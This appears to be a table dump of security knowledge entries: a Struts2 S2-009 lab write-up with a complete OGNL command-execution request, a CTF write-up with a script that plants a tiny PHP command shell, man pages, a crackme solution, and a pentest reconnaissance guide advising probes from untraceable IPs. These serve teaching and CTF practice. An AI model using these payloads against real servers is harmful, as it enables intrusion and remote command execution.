text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# S2-009 远程代码执行漏洞
影响版本: 2.1.0 - 2.3.1.1
漏洞详情: http://struts.apache.org/docs/s2-009.html
## 测试环境搭建
```
docker compose build
docker compose up -d
```
## 原理
> 前置阅读: 这个漏洞再次来源于s2-003、s2-005。了解该漏洞原理,需要先阅读s2-005的说明:https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md
参考[Struts2漏洞分析之Ognl表达式特性引发的新思路](https://www.t00ls.net/viewthread.php?tid=21197),文中说到,该引入ognl的方法不光可能出现在这个漏洞中,也可能出现在其他java应用中。
Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于`#`号,同样使用编码`\u0023`或`\43`进行绕过;于是Struts2对s2-005的修复方法是禁止`\`等特殊符号,使用户不能提交反斜线。
但是,如果当前action中接受了某个参数`example`,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在`example`参数中,然后使用`/helloword.acton?example=<OGNL statement>&(example)('xxx')=1`的方法来执行它,从而绕过官方对`#`、`\`等特殊字符的防御。
## Exploit构造
测试环境是一个struts2的“功能展示”网站`Struts Showcase`,代码很多,我们的目标是去找一个接受了参数,参数类型是string的action。
先对`S2-009.war`进行解压(我用binwalk,其实直接zip就可以),可见源码都在`WEB-INF/src`目录中,我一般找ajax相关的代码,这些代码一般逻辑比较简单。
找到一个`WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java`:
```java
public class Example5Action extends ActionSupport {
private static final long serialVersionUID = 2111967621952300611L;
private String name;
private Integer age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Integer getAge() { return age; }
public void setAge(Integer age) { this.age = age; }
@Override
public String execute() throws Exception {
return SUCCESS;
}
}
```
代码没有更简单了,其接受了name参数并调用setName将其赋值给私有属性`this.name`,正是符合我们的要求。然后去`WEB-INF/src/java/struts-ajax.xml`看一下URL路由:
```xml
<package name="ajax" extends="struts-default">
...
<action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
<result name="input">/ajax/tabbedpanel/example5.jsp</result>
<result>/ajax/tabbedpanel/example5Ok.jsp</result>
</action>
...
</package>
```
`name=example5`,所以访问`http://your-ip:8080/ajax/example5.action`即可访问该控制器。按照原理中说到的方法,将OGNL利用代码放在name参数里,访问该URL:
```
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
由于该POC没有回显,所以调用的是`touch /tmp/success`命令,查看/tmp目录发现已经成功:

黑盒情况下,这个洞也不是限制特别大。只要你在正常业务中找到传参的地方,就用该参数名可以试试。
|
sec-knowleage
|
'\" t
.TH "LOGINCTL" "1" "" "systemd 231" "loginctl"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
loginctl \- 控制 systemd 登录管理器
.SH "SYNOPSIS"
.HP \w'\fBloginctl\fR\ 'u
\fBloginctl\fR [OPTIONS...] {COMMAND} [NAME...]
.SH "描述"
.PP
\fBloginctl\fR
可用于内省与控制
\fBsystemd\fR(1)
登录管理服务
\fBsystemd-logind.service\fR(8)
.SH "选项"
.PP
能够识别的命令行选项如下:
.PP
\fB\-\-no\-ask\-password\fR
.RS 4
在执行特权操作时不向用户索要密码。
.RE
.PP
\fB\-p\fR, \fB\-\-property=\fR
.RS 4
在显示 session/user/seat 属性时, 仅显示此处指定的属性。 若未指定,则显示全部属性。 参数必须是属性名(例如"Sessions")。 可以多次使用此选项以指定多个属性。
.RE
.PP
\fB\-\-value\fR
.RS 4
在使用
\fBshow\fR
显示属性时, 仅显示属性值,而不显示属性名及等号。
.RE
.PP
\fB\-a\fR, \fB\-\-all\fR
.RS 4
在显示 session/user/seat 属性时, 显示全部属性,无论这些属性是否已经被设置。
.RE
.PP
\fB\-l\fR, \fB\-\-full\fR
.RS 4
在显示进程树的时候,不对超长行进行截断。
.RE
.PP
\fB\-\-kill\-who=\fR
.RS 4
与
\fBkill\-session\fR
连用,指定杀死哪个进程。
\fBleader\fR
表示仅杀死会话的领导进程;
\fBall\fR
表示杀死会话的所有进程。 默认值为
\fBall\fR
.RE
.PP
\fB\-s\fR, \fB\-\-signal=\fR
.RS 4
与
\fBkill\-session\fR
或
\fBkill\-user\fR
连用, 指定向选中的进程发送什么信号。 必须设为众所周知的信号名称,例如
\fBSIGTERM\fR(默认值),
\fBSIGINT\fR,
\fBSIGSTOP\fR
之类
.RE
.PP
\fB\-n\fR, \fB\-\-lines=\fR
.RS 4
与
\fBuser\-status\fR
或
\fBsession\-status\fR
连用, 控制显示多少行日志(从最新的一条日志开始计算)。 必须设为一个正整数,默认值是"10"。
.RE
.PP
\fB\-o\fR, \fB\-\-output=\fR
.RS 4
与
\fBuser\-status\fR
或
\fBsession\-status\fR
连用, 控制日志的输出格式。 可用值参见
\fBjournalctl\fR(1)
手册。 默认为
"short"
.RE
.PP
\fB\-H\fR, \fB\-\-host=\fR
.RS 4
操作指定的远程主机。可以仅指定一个主机名(hostname), 也可以使用
"username@hostname"
格式。 hostname 后面还可以加上容器名(以冒号分隔), 也就是形如
"hostname:container"
的格式, 以表示直接连接到指定主机的指定容器内。 操作将通过SSH协议进行,以确保安全。 可以通过
\fBmachinectl \-H \fR\fB\fIHOST\fR\fR
命令列出远程主机上的所有容器名称。
.RE
.PP
\fB\-M\fR, \fB\-\-machine=\fR
.RS 4
在本地容器内执行操作。 必须明确指定容器的名称。
.RE
.PP
\fB\-\-no\-pager\fR
.RS 4
不将程序的输出内容管道(pipe)给分页程序。
.RE
.PP
\fB\-\-no\-legend\fR
.RS 4
不输出列标题, 也就是不在输出列表的头部和尾部显示字段的名称。
.RE
.PP
\fB\-h\fR, \fB\-\-help\fR
.RS 4
显示简短的帮助信息并退出。
.RE
.PP
\fB\-\-version\fR
.RS 4
显示简短的版本信息并退出。
.RE
.SH "命令"
.PP
能够识别的命令如下:
.SS "会话命令"
.PP
\fBlist\-sessions\fR
.RS 4
列出当前所有的会话。这是默认命令。
.RE
.PP
\fBsession\-status\fR [\fIID\fR\&.\&.\&.]
.RS 4
显示简洁的会话状态信息,后跟最近的日志。 如果指定了会话ID,那么仅显示指定的会话, 否则显示当前调用者的会话。 此命令主要用于输出人类易读的信息, 如果你想输出易于程序分析的信息, 那么应该使用
\fBshow\-session\fR
命令
.RE
.PP
\fBshow\-session\fR [\fIID\fR\&.\&.\&.]
.RS 4
如果指定了会话ID,那么显示指定会话的各项属性值, 否则显示登陆管理器自身的各项属性值。 除非使用了
\fB\-\-all\fR
选项, 否则空属性将被忽略。 还可以使用
\fB\-\-property=\fR
选项指定仅显示个别属性。 此命令主要用于输出易于程序分析的信息, 如果你想输出人类易读的信息, 那么应该使用
\fBsession\-status\fR
命令。
.RE
.PP
\fBactivate\fR [\fIID\fR]
.RS 4
激活会话。 也就是将处于后台的会话切换到前台(如果同席位的另一个会话正处于前台)。 如果指定了会话ID, 那么将激活指定的会话, 否则将激活当前调用者的会话。
.RE
.PP
\fBlock\-session\fR [\fIID\fR\&.\&.\&.], \fBunlock\-session\fR [\fIID\fR\&.\&.\&.]
.RS 4
锁定/解锁会话(如果会话支持屏幕锁)。 如果指定了会话ID,那么将锁定/解锁指定的会话, 否则将锁定/解锁当前调用者的会话。
.RE
.PP
\fBlock\-sessions\fR, \fBunlock\-sessions\fR
.RS 4
锁定/解锁所有支持屏幕锁的会话。
.RE
.PP
\fBterminate\-session\fR \fIID\fR\&.\&.\&.
.RS 4
结束指定的会话。 也就是杀死指定会话的所有进程、释放所有与此会话相关的资源。
.RE
.PP
\fBkill\-session\fR \fIID\fR\&.\&.\&.
.RS 4
向指定的会话进程发送信号。 使用
\fB\-\-kill\-who=\fR
指定目标进程, 使用
\fB\-\-signal=\fR
指定要发送的信号。
.RE
.SS "用户命令"
.PP
\fBlist\-users\fR
.RS 4
列出当前登录的用户
.RE
.PP
\fBuser\-status\fR [\fIUSER\fR\&.\&.\&.]
.RS 4
显示简洁的已登录用户信息,后跟最近的日志。 如果指定了用户名或UID, 那么仅显示指定的用户, 否则显示当前调用者的用户。 此命令主要用于输出人类易读的信息, 如果你想输出易于程序分析的信息, 那么应该使用
\fBshow\-user\fR
命令。
.RE
.PP
\fBshow\-user\fR [\fIUSER\fR\&.\&.\&.]
.RS 4
如果指定了用户名或UID,那么显示指定用户的各项属性值, 否则显示登陆管理器自身的各项属性值。 除非使用了
\fB\-\-all\fR
选项, 否则空属性将被忽略。 还可以使用
\fB\-\-property=\fR
选项来显示指定的属性。 此命令主要用于输出易于程序分析的信息, 如果你想输出人类易读的信息, 那么应该使用
\fBuser\-status\fR
命令。
.RE
.PP
\fBenable\-linger\fR [\fIUSER\fR\&.\&.\&.], \fBdisable\-linger\fR [\fIUSER\fR\&.\&.\&.]
.RS 4
启用/禁止用户逗留(相当于保持登录状态)。 如果指定了用户名或UID, 那么系统将会在启动时自动为这些用户派生出用户管理器, 并且在用户登出后继续保持运行。 这样就可以允许未登录的用户在后台运行持续时间很长的服务。 如果没有指定任何参数, 那么将作用于当前调用者的用户。
.sp
参见
\fBlogind.conf\fR(5)
中的
\fIKillUserProcesses=\fR
指令。
.RE
.PP
\fBterminate\-user\fR \fIUSER\fR\&.\&.\&.
.RS 4
结束指定用户的所有会话。 这将杀死该用户的所有会话中的所有进程, 同时释放与此用户有关的所有资源。
.RE
.PP
\fBkill\-user\fR \fIUSER\fR\&.\&.\&.
.RS 4
向指定用户的所有进程发送
\fB\-\-signal=\fR
选项指定的信号。
.RE
.SS "席位命令"
.PP
\fBlist\-seats\fR
.RS 4
列出当前本机上的所有可用席位
.RE
.PP
\fBseat\-status\fR [\fINAME\fR\&.\&.\&.]
.RS 4
显示简洁的席位信息,后跟最近的日志。 如果指定了席位名,那么仅显示指定的席位, 否则显示当前调用者会话所属的席位。 此命令主要用于输出人类易读的信息, 如果你想输出易于程序分析的信息, 那么应该使用
\fBshow\-seat\fR
命令。
.RE
.PP
\fBshow\-seat\fR [\fINAME\fR\&.\&.\&.]
.RS 4
如果指定了席位名,那么显示指定席位的各项属性值, 否则显示登陆管理器自身的各项属性值。 除非使用了
\fB\-\-all\fR
选项, 否则空属性将被忽略。 还可以使用
\fB\-\-property=\fR
选项来显示指定的属性。 此命令主要用于输出易于程序分析的信息, 如果你想输出人类易读的信息, 那么应该使用
\fBseat\-status\fR
命令。
.RE
.PP
\fBattach\fR \fINAME\fR \fIDEVICE\fR\&.\&.\&.
.RS 4
将指定的设备(DEVICE)持久的连接到指定的席位(NAME)上。 设备可以用相对于
/sys
文件系统的设备路径表示。 要创建一个新席位,至少需要连接一个显卡。 席位名称必须以
"seat"
开头, 后跟 a\(enz, A\(enZ, 0\(en9, "\-", "_" 字符。 要想从席位上删除一个设备, 可以将此设备连接到另一个席位, 或者使用
\fBflush\-devices\fR
命令。
.RE
.PP
\fBflush\-devices\fR
.RS 4
删除所有先前用
\fBattach\fR
命令连接的设备(同时也删除了所有先前用
\fBattach\fR
命令创建的席位)。 调用此命令之后,所有自动生成的席位将会被保留, 同时所有席位设备将会连接到自动生成的席位上。
.RE
.PP
\fBterminate\-seat\fR \fINAME\fR\&.\&.\&.
.RS 4
结束指定席位上的所有会话。 这将杀死指定席位上的所有会话进程, 同时释放与之关联的所有资源。
.RE
.SH "退出状态"
.PP
返回值为 0 表示成功, 非零返回值表示失败代码。
.SH "例子"
.PP
\fBExample\ \&1.\ \&查询用户状态\fR
.sp
.if n \{\
.RS 4
.\}
.nf
$ loginctl user\-status
fatima (1005)
Since: Sat 2016\-04\-09 14:23:31 EDT; 54min ago
State: active
Sessions: 5 *3
Unit: user\-1005\&.slice
├─user@1005\&.service
\&.\&.\&.
├─session\-3\&.scope
\&.\&.\&.
└─session\-5\&.scope
├─3473 login \-\- fatima
└─3515 \-zsh
Apr 09 14:40:30 laptop login[2325]: pam_unix(login:session):
session opened for user fatima by LOGIN(uid=0)
Apr 09 14:40:30 laptop login[2325]: LOGIN ON tty3 BY fatima
.fi
.if n \{\
.RE
.\}
.PP
有 3 与 5 两个会话。会话 3 是一个图形会话, 以星号(*)标记。同时还显示了两个对应的 scope 单元中的进程树。
.SH "环境变量"
.PP
\fI$SYSTEMD_PAGER\fR
.RS 4
指定分页程序。仅在未指定
\fB\-\-no\-pager\fR
选项时有意义。 此变量会覆盖
\fI$PAGER\fR
的值。 将此变量设为空字符串或
"cat"
等价于使用
\fB\-\-no\-pager\fR
选项。
.RE
.PP
\fI$SYSTEMD_LESS\fR
.RS 4
用于覆盖 默认传递给
\fBless\fR
程序的命令行选项 ("FRSXMK")。
.RE
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBsystemctl\fR(1),
\fBsystemd-logind.service\fR(8),
\fBlogind.conf\fR(5)
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
## TinyHosting (web, 250p, 71 solves)
> A new file hosting service for very small files. could you pwn it?
>
> http://136.243.194.53/
### PL
[ENG](#eng-version)
Pod http://136.243.194.53/ znajduje się formularz umożliwiający wysyłanie plików na serwer.
W kodzie HTML znajduje się komentarz:
<!-- <a href="./?src=">src</a>-->
Po dodaniu do url `?src=1` możemy zobaczyć kod strony:
<?php
$savepath="files/".sha1($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT'])."/";
if(!is_dir($savepath)){
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
touch($savepath."/index.html");
}
if((@$_POST['filename']) && (@$_POST['content']) ){
$fp = fopen("$savepath".$_POST['filename'], 'w');
fwrite($fp, substr($_POST['content'],0,7) );
fclose($fp);
$msg = 'File saved to <a>'.$savepath.htmlspecialchars($_POST['filename'])."</a>";
}
?>
Skrypt pozwala na tworzenie plików z rozszerzeniem .php. Treść jest jednak ucinana do 7 znaków. `<?php ?` generuje `Internal Server Error`.
Używająć krótkiego tagu startowego i pomijająć końcowy możemy wykonać jednoliterowe polecenie: ``<?=`*`;``
Jeżeli stworzymy pliki o nazwach `bash` i `bash2`, `*` rozwinie się do `bash bash2 index.html`. Możemy w ten sposób wykonywać 7 znakowe skrypty shellowe:
import requests
import re
url = "http://136.243.194.53/"
user_agent = "xxx"
t = requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"zzz.php", "content":"<?=`*`;"}).text
[path] = re.findall('files.*/zzz.php', t)
requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash", "content":'xxx'})
requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash2", "content":'ls /'})
r = requests.get(url+path)
print r.text
W głównym katalogu znajduje się plik `file_you_want`. Możemy go pobrać poleceniem `cat /f*`. W pliku znajduje się flaga:
32c3_Gr34T_Th1ng5_Are_D0ne_By_A_Ser13s_0f_5ma11_Th1ngs_Br0ught_T0ge7h3r
### ENG version
Under http://136.243.194.53/ there is a form which allows uploading files.
In page source there is a comment:
<!-- <a href="./?src=">src</a>-->
After adding `?src=1` to the url php source is printed:
<?php
$savepath="files/".sha1($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT'])."/";
if(!is_dir($savepath)){
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
touch($savepath."/index.html");
}
if((@$_POST['filename']) && (@$_POST['content']) ){
$fp = fopen("$savepath".$_POST['filename'], 'w');
fwrite($fp, substr($_POST['content'],0,7) );
fclose($fp);
$msg = 'File saved to <a>'.$savepath.htmlspecialchars($_POST['filename'])."</a>";
}
?>
Page doesn't block creating files with .php extension. The content is limited to 7 chars though. `<?php ?` generates `Internal Server Error`.
By using short start tags and ommiting end tag it's possible to execute single char shell command: ``<?=`*`;``
If we create two files: `bash` and `bash2`, `*` will expand to: `bash bash2 index.html`. This way we can execute 7 char shell scripts:
import requests
import re
url = "http://136.243.194.53/"
user_agent = "xxx"
t = requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"zzz.php", "content":"<?=`*`;"}).text
[path] = re.findall('files.*/zzz.php', t)
requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash", "content":'xxx'})
requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash2", "content":'ls /'})
r = requests.get(url+path)
print r.text
In root directory there is a file named `file_you_want`. We can get its contents with `cat /f*`. This file contains the flag:
32c3_Gr34T_Th1ng5_Are_D0ne_By_A_Ser13s_0f_5ma11_Th1ngs_Br0ught_T0ge7h3r
|
sec-knowleage
|
.\" Copyright 1993 David Metcalfe (david@prism.demon.co.uk)
.\"
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
.\" manual under the conditions for verbatim copying, provided that the
.\" entire resulting derived work is distributed under the terms of a
.\" permission notice identical to this one
.\"
.\" Since the Linux kernel and libraries are constantly changing, this
.\" manual page may be incorrect or out-of-date. The author(s) assume no
.\" responsibility for errors or omissions, or for damages resulting from
.\" the use of the information contained herein. The author(s) may not
.\" have taken the same level of care in the production of this manual,
.\" which is licensed free of charge, as they might when working
.\" professionally.
.\"
.\" Formatted or processed versions of this manual, if unaccompanied by
.\" the source, must acknowledge the copyright and authors of this work.
.\"
.\" References consulted:
.\" Linux libc source code
.\" Lewine's _POSIX Programmer's Guide_ (O'Reilly & Associates, 1991)
.\" 386BSD man pages
.\" Modified Sat Jul 24 21:28:17 1993 by Rik Faith <faith@cs.unc.edu>
.\" Modified Tue Oct 22 23:49:37 1996 by Eric S. Raymond <esr@thyrsus.com>
.TH BZERO 3 1993-04-09 "GNU" "Linux Programmer's Manual"
.SH NAME
bzero \- 向字符串写入零
.SH "总览 (SYNOPSIS)"
.nf
.B #include <string.h>
.sp
.BI "void bzero(void *" s ", size_t " n );
.fi
.SH "描述 (DESCRIPTION)"
\fBbzero()\fP 函数 把 字符串 \fIs\fP 的 前 \fIn\fP 个 字节 置成 零.
.SH "返回值 (RETURN VALUE)"
\fBbzero()\fP 函数 无 返回值.
.SH "遵循 (CONFORMING TO)"
4.3BSD. 建议 不要 用 这个 函数 -- 请 在 新的 程序中 用
.BR memset
函数.
.SH "参见 (SEE ALSO)"
.BR memset "(3), " swab (3)
.SH "[中文版维护人]"
.B 唐友 \<tony_ty@263.net\>
.SH "[中文版最新更新]"
.BR 2002/1/28
.SH "[中国Linux论坛man手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Binary (RE)
I think that the challenge was supposed to be more difficult, but due to
implementation problems it was trivial for us.
We are given a crackme and we are supposed to extract flag from it. We start
by running the challenge (hopefully, in a safe environment):
```
╭─msm@europa /home/msm/p4/binary
╰─$ ./main
Podaj hasło, żeby przejść dalej:
```
The binary [asked us for a password (in Polish)](https://translate.google.com/#auto/en/Podaj%20hasło%2C%20żeby%20przejść%20dalej). We provided a random one, just to see the error message:
```
╭─msm@europa /home/msm/p4/binary
╰─$ ./main
Podaj hasło, żeby przejść dalej:
password123
password123 pmelabkzsdtłk?yż - 0
Hasło błędne. Spróbuj ponownie.
```
We have a (relatively standard) error message, but also a strange random-looking string. Can it be a password?
```
╭─msm@europa /home/msm/p4/binary
╰─$ ./main
Podaj hasło, żeby przejść dalej:
pmelabkzsdtłk?yż
pmelabkzsdtłk?yż pmelabkzsdtłk?yż - 1
Hasło poprawne. Przechodzisz dalej.
```
Apparently yes:

This looks like an oversight of the author - decrypted password probably shouldn't be printed to the stdout.
The tasks became even weirder from now on. The binary asked us a riddle [(terrible translation by Google Translate for curious)](https://translate.google.com/#auto/en/Od%20pi%C3%B3rka%20jestem%20l%C5%BCejszy%2C%20ale%20powstrzyma%C4%87%20na%20d%C5%82ugo%20nie%20zdo%C5%82a%20mnie%20najsilniejszy.%20Czym%20jestem%3F). We could just guess the solution or find it on the Internet, but reversing the binary turned out to be even easier.
All the answers are in the binary in plain text and are compared with input using standard string comparison. There are two problems though:
- Strings are obfuscated. Not intentionally - but Polish characters confuse IDA and GNU strings and not all the answers were immediately visible.
- The binary is written in C++ and compiled without optimization.

But it's nothing that we can't deal with in a few minutes. Strings are initialized globally, so first, we had to find the static initialization routine in the codebase (easy with find-xref function in IDA. One could also search for the name `__static_initialization_and_destruction`, because symbols were not stripped).
All the answers can be easily found by looking at that function in disassembly:

Now we just copied them all in the binary and got the flag:

Confusingly, the crackme shows two different pieces of information: the flag,
and a final message "Och nie! Jakiś bug się wkradł! To jednak nie flaga, a jakiś klucz! Myślisz, że uda Ci się go pokonać i znaleźć flagę?" [(translation: Oh no, that's not a flag after all. Looks like some kind of a key, can crack it?)](https://translate.google.com/#auto/en/Och%20nie!%20Jaki%C5%9B%20bug%20si%C4%99%20wkrad%C5%82!%20To%20jednak%20nie%20flaga%2C%20a%20jaki%C5%9B%20klucz!%20My%C5%9Blisz%2C%20%C5%BCe%20uda%20Ci%20si%C4%99%20go%20pokona%C4%87%20i%20znale%C5%BA%C4%87%20flag%C4%99%3F).
We're not sure if it's another mistake or intentional deception. The scoring system confirmed that we did, in fact, have recovered a correct flag.
`scsctf_2018{rwGfZsFbe1g@sgV%Xf!tDV#sE@rsAD}`
|
sec-knowleage
|
**Authors**: < [nixawk](https://github.com/nixawk) >, < [sjas](https://github.com/sjas) >
----
# Information Gathering
In the *information gathering* phase, you will gather any information you can about the organization you are attacking by using social-media networks, Google hacking, footprinting the target, and so on. One of the most important skills a penetration tester can have is the ability to learn about a target, including how it behaves, how it operates, and how it ultimately can be attacked. The information that you gather about your target will give you valuable insight into the types of security controls in place.
During *information gathering*, you attempt to identify what protection mechanisms are in place at the target by slowly starting to probe its systems. For example, an organization will often only allow traffic on a certain subset of ports on externally facing devices, and if you query the organization on any- thing other than a whitelisted port, you will be blocked. It is generally a good idea to test this blocking behavior by initially probing from an expendable IP address that you are willing to have blocked or detected. The same holds true when you’re testing web applications, where, after a certain threshold, the web application firewalls will block you from making further requests.
To remain undetected during these sorts of tests, you can perform your initial scans from IP address ranges that can’t be linked back to you and your team. Typically, organizations with an external presence on the Internet experience attacks every day, and your initial probing will likely be an unde- tected part of the background noise.
|**Information Categroy**|**Bookmarks**|
|:---------------------|:----------|
| IP Analysis |https://www.iana.org/numbers<BR>https://www.iana.org/assignments/as-numbers/as-numbers.xml<BR>https://www.iso.org/obp/ui/#home<BR>https://www.ultratools.com/tools/toolsHome<BR>https://www.robtex.com/<BR>http://www.team-cymru.org/IP-ASN-mapping.html<BR>http://www.iplocation.net/<BR>http://thyme.apnic.net/<BR>http://bgp.he.net/<BR>https://ipinfo.io|
| Whois Analysis |https://www.iana.org/numbers<BR>http://www.domaintools.com/|
| DNS Analysis |http://www.alexa.com/<BR>http://searchdns.netcraft.com/<BR>http://centralops.net/co/<BR>http://www.yougetsignal.com/<BR>http://webhosting.info/whois/<BR>http://reverseip.domaintools.com/<BR>http://viewdns.info/reverseip/<BR>|
| Identify Live Hosts |https://nmap.org/dist/sigs/?C=M;O=D<BR>https://zmap.io/<BR>http://masscan.net/<BR>http://www.secdev.org/projects/scapy/|
| IDS/IPS Identification |https://www.monkey.org/~dugsong/fragroute/<BR>http://pytbull.sourceforge.net/<BR>http://tcpreplay.synfin.net/|
| OSINT |https://www.shodan.io/<BR>https://www.exploit-db.com/google-hacking-database/<BR>|
# Links
1. [**How to gather Windows information ?**](./Windows/README.md)
2. [**How to gather Linux information ?**](./Linux/README.md)
3. [**How to gather Mac OSX information ?**]()
|
sec-knowleage
|
<h1 align=center dir=RTL style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Times New Roman",serif'>פתרון - </span><span
lang=en-IL dir=LTR>OWASP IL 2018 AppSec CTF</span></h1>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=HE style='font-family:"Arial",sans-serif'>מאת
</span><span lang=EN-US dir=LTR>Dvd848</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=EN-US dir=LTR> </span></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>הקדמה</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>בתחילת ספטמבר 2018
התקיים </span><span lang=EN-US dir=LTR>CTF</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> של </span><span
lang=EN-US dir=LTR>OWASP IL</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>. הוא היה פתוח למשך
קצת יותר מיממה וכלל 15 אתגרים ברמות קושי שונות.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 1 </span><span
lang=HE style='font-family:"Arial",sans-serif'>–</span><span lang=HE
style='font-family:"Times New Roman",serif'> </span><span lang=EN-US dir=LTR>devDucks</span><span
dir=RTL></span><span lang=HE style='font-family:"Times New Roman",serif'><span
dir=RTL></span> (רמת קושי קלה, 200 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=EN-US dir=LTR><img width=126 height=126
id="Picture 1" src="images/image001.jpg"></span></p>
<p align=center style='text-align:center'><span lang=en-IL>URL: <span
class=MsoHyperlink><b><a href="http://challenges.owaspil.ctf.today:8089/">http://challenges.owaspil.ctf.today:8089/</a></b></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>לחיצה על הקישור
מובילה לדף שמציג שגיאת זמן ריצה של פייתון:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=575 height=288
id="Picture 2" src="images/image002.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אפשר לעבור על ה-</span><span
lang=EN-US dir=LTR>Traceback</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> ולראות את ה-</span><span
lang=EN-US dir=LTR>state</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> של כל פונקציה בזמן
השגיאה.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>למשל, אם מחפשים קוד
שנכלל באפליקציה עצמה (בניגוד לקוד של ספריות עזר), מגיעים לקטע הבא:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=602 height=350
id="Picture 3" src="images/image003.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אפשר לראות פה מספר
שורות קוד מתוך האפליקציה, אך לא משהו מועיל במיוחד. מה שנראה הרבה יותר מועיל הוא
הסמל של ה-</span><span lang=EN-US dir=LTR>Console</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> שמופיע
מימין.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>לחיצה עליו ויש לנו </span><span
lang=EN-US dir=LTR>Console</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> אינטראקטיבי!</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:rtl;
